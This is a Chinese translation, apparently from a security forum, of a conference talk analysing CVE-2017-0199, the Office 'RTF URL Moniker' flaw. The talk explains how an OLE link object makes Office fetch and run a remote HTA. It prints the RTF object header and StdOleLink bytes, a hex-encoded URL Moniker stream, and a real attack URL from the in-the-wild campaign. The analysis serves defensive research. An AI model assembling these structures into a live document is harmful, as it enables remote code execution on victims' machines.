Moniker魔法:直接在Microsoft Office中运行脚本
翻译 by 银雁冰
原文链接:https://0b3dcaf9-a-62cb3a1a-s-sites.googlegroups.com/site/zerodayresearch/Moniker_Magic_final.pdf
译者注:
这篇paper为Haifei Li(Halifei_Li@Macfee.com)和Bing Sun(Bing_Sun@Macfee.com)在Syscan360 2017西雅图安全会议上的演讲。2015年,两位研究员在BlackHat2015上演讲的《Attacking Interoperability:An OLE Edition》已经成为office漏洞领域的经典paper。在那次演讲中,作者侧重讨论了OLE(对象链接与嵌入)机制中的“嵌入”所相关的安全问题,本文则侧重另一个方向,即“链接”。两篇paper可以说是相互补充的。同时,这篇paper深入探讨了2017年4月出现的经典漏洞 CVE-2017-0199背后的原理,想要深入理解CVE-2017-0199原理的小伙伴请不要错过这篇文章。
相关译文链接:http://bbs.pediy.com/thread-218941.htm
Ø 背景
Ø 理解“RTF URL Moniker”漏洞
Ø 理解“PPSX Script Moniker”漏洞
Ø 分析微软补丁
Ø 结论
Ø 在同一个CVE-2017-0199的公告下其实含有两个漏洞
Ø https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2017-0199
Ø 让我们将其中一个称为“RTF URL Moniker”漏洞,并且将另一个称为“PPSX Script Moniker”漏洞
Ø 微软把对这两个漏洞的修复放在了同一个CVE里
Ø 在2016年10月,@ryHansom向微软报告了“RTF URL Moniker”漏洞
Ø 在2017年1月20号,Haifei向微软报告了“PPSX Script Moniker”漏洞
Ø 在2017年4月7号,我们在Macfee的团队发现了野外的一个0day攻击并且向大众发出了警报
Ø 这次0day攻击至少开始于2017年1月下旬,我们的样本是在VitusTotal上发现的
Ø 2017年4月11号,微软在CVE-2017-0199里面修复了“RTF URL Moniker”漏洞和“PPSX Script Moniker”漏洞
Ø 我们后来得到确认,被用在0day攻击里的漏洞正是@ryHansom发现的“RTF URL Moniker”漏洞
Ø 之前,我们本打算只讲“PPSX Script Moniker”漏洞
Ø 事实上,当我们在3月份提交我们的SYSCAN360 参会议题时,我们不知道还有另一个相关的漏洞(“RTF URL Moniker”)吸引了更多的公众注意力(作为一个0day)
Ø 我们对这两个漏洞和微软的补丁都做了深入的研究/分析
Ø 我们将要分享所有我们的发现
Ø 这个漏洞与RTF里面的OLE对象序列化有关
Ø 控制字 “\object”
Ø “Object data”被 “\objdata”控制字定义
Ø “\objautlink”定义了对象类型*
*注意:根据我们的测试,这个漏洞的关键点是对象被定义为一个OLE“链接”对象(看后面),“objautlink”并不是必须的,相同的漏洞触发过程也可能通过使用另外的OLE相关控制字在另外的RTF场景中被触发
Ø 让我们检视一下“Object Data”(从“\objdata”控制字开始)
Ø 头部
01 05 00 00 // Version
02 00 00 00
09 00 00 00
4f 4c 45 32 4c 69 6e 6b 00 //“OLE2Link”, could be anything
00 00 00 00
00 00 00 00
00 0a 00 00 // Data Length
d0cf11e0a1b11ae1000000000000000000000000000000003e..
..
Ø “d0cf11e0”指明这是一个OLE结构的流,因此,我们可以将其dump为二进制并且用OLESS工具打开
Ø 关键点:StdOleLink
它定义了这是一个“链接”对象,而不是“嵌入”
Ø [MS-OLEDS]格式规范:2.3.3节
Ø 让我们来一个一个检查这些字节
01 00 00 02 // Version,必须为0x20000001
09 00 00 00 // Flags
值
含义
0x00000001
OLE流结构必须是一个链接对象.
0x00000000
OLE流结构必须是一个嵌入对象.
0x00001000
这一位被设定为由应用程序或创建数据结构的更高级别协议提供的具体实现提示.在处理这个数据结构时这一位可能被忽略,一个不忽略该位的服务器实现可能在该位被设定时缓存storage.
01 00 00 00 // LinkUpdateOption
00 00 00 00 // Reserve1
00 00 00 00 // ReserveMonikerStreamSize
00 00 00 00 // RelativeSourceMonikerStreamSize
5C 01 00 00 // AbsoluteSourceMonikerStreamSize
Ø 注意AbsoluteSourceMonikerStreamSize不为0,它指明了接下来的数据的大小:AbsoluteSourceMonikerStream
Ø 从格式规范中我们可以看到:
Ø “Moniker(有时因为其智能名称为人所知)是一个在整个系统中标准且可扩展的命名和连接对象的方式。简单来说,一个Moniker就是一个定义另外一个对象的对象。”
-《Inside COM+: Base Services》-
Ø Moniker是一个特殊的COM,它允许你找到另一个COM
Ø 通过提供IMoniker接口
Ø Windows操作系统上只有几个Monikers
Ø File Moniker
Ø Item Moniker
Ø URL Moniker
Ø “Script”Moniker
Ø …
Ø 典型的COM对象的定义
Ø “Clsid”指定了它是哪一个Moniker对象
Ø “StreamData”被用来对象的初始化
E0 C9 EA 79 F9 BA CE 11 8C 82 00 AA 00 4B A9 0B
44 01 00 00 68 00 74 00 74 00 70 00 3A 00 2F 00
2F 00 31 00 39 00 32 00 2E 00 31 00 36 00 38 00
2E 00 31 00 2E 00 36 00 36 00 2F 00 74 00 74 00
31 00 2F 00 74 00 65 00 6D 00 70 00 6C 00 61 00
74 00 65 00 2E 00 68 00 74 00 61 00 00 00 00 00
Ø CLSID = 79eac9e0-baf9-11ce-8c82-00aa004ba90b
>
Ø 接下来的数据(“StreamData”)的格式是怎样的?微软的格式规范并没有告诉我们
Ø 我们自己来弄明白
Ø 在一番调试后,我们搞清StreamData事实上是Moniker对象用来给“IPersisteStream”使用的流
Ø URL Moniker开放了IPersisteStream接口
Ø 通过IPersisteStream::Load()方法加载“StreamData”
Ø 因此,不同的Moniker对象也许有不同的StreamData格式,这完全取决于Moniker对象的实现
Ø URL Moniker的StreamData格式
44 01 00 00 // URL的最大长度,以NULL结尾
68 00 74 00 74 00 70 00 3A 00 2F 00 2F 00
“http://95.141.38.110/mo/dnr/tmp/template.doc”
Ø 诸如OLE StdOleLink这样一个结构会导致URL Moniker对象被运行
Ø 调用“IMoniker::BindToObject()”方法,这使得进程去寻找目标对象并将其放入运行中状态
https://msdn.microsoft.com/en-us/library/windows/desktop/ms691433(v=vs.85).aspx
Ø URL Moniker有它寻找目标对象的特殊方式
Ø 如果URL 字符串以“http”开始,首先,URL Moniker尝试去从服务器下载资源(到IE缓存)
Ø 基于资源的多个属性,一个OLE服务器被选中
Ø “Content-Type”的值
Ø 扩展名
Ø 通过OLE API “GetClassFile()”
Ø 最终,被选中的对象运行以处理资源
Ø CLSID: 3050f4d8-98b5-11cf-bb82-00aa00bdce0b
Ø HTA文件被COM/OLE服务器“mshta.exe”加载并且运行
Ø HTA内容已经被知道是有害的
Ø 如果脚本(JS,VBS)在HTA文件中被发现,它们就会被执行
Ø 这本质上是一个可导致远程代码执行的设计/逻辑缺陷
0:000> r
urlmon!CoCreateInstanceForObjectBinding+0x4a:
76a0af8e call dword ptr [urlmon!_imp CoCreateInstance]
0:000> db poi(esp) L10
001b8b48 d8 f4 50 30 b5 98 cf 11-bb 82 00 aa 00 bd ce 0b
0:000> k
001b8a5c 769e0bf4 urlmon!CoCreateInstanceForObjectBinding+0x4a 001b8ad0 769de9bd urlmon!CBinding::InstantiateObject+0x217 001b8bc4 7698d3b7 urlmon!CBinding::OnObjectAvailable+0x20b
……
001b8e48 7699b684 urlmon!CTransaction::CompleteOperation+0x9d
001b92f0 769e1411 urlmon!CTransaction::StartEx+0x14a6
001b9374 7698db9c urlmon!CBinding::StartBinding+0x921
001b93c0 769beeb6 urlmon!CUrlMon::StartBinding+0x1a6
001b9410 75503d1d urlmon!CUrlMon::BindToObject+0xc9
001b947c 7554f941 ole32!CDefLink::BindToSource+0x14e
001b9494 754d7c14 ole32!CDefLink::Run+0x36
001b94a8 57c06443 ole32!OleRun+0x3b
WARNING: Stack unwind information not available. Following frames may be wrong.
001b94d8 57b93c62 wwlib!DllGetLCID+0x4bffbd
Ø 这个漏洞源自URL Moniker通过OLE执行危险的HTA
Ø URL Moniker无法直接运行脚本,但是它可以找到一个OLE对象并使用这个对象来处内容
Ø 当内容为HTA内容时, “htafile” OLE对象被启动,HTA内容里的脚本得到运行
Ø 从文件格式的角度来看,OLE StdOleLink结构在无需用户交互下触发了整个过程
Ø 在关于如何发现这个漏洞上有一个有趣的背景故事
[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课
最后于 2020-2-8 17:02
被kanxue编辑
,原因: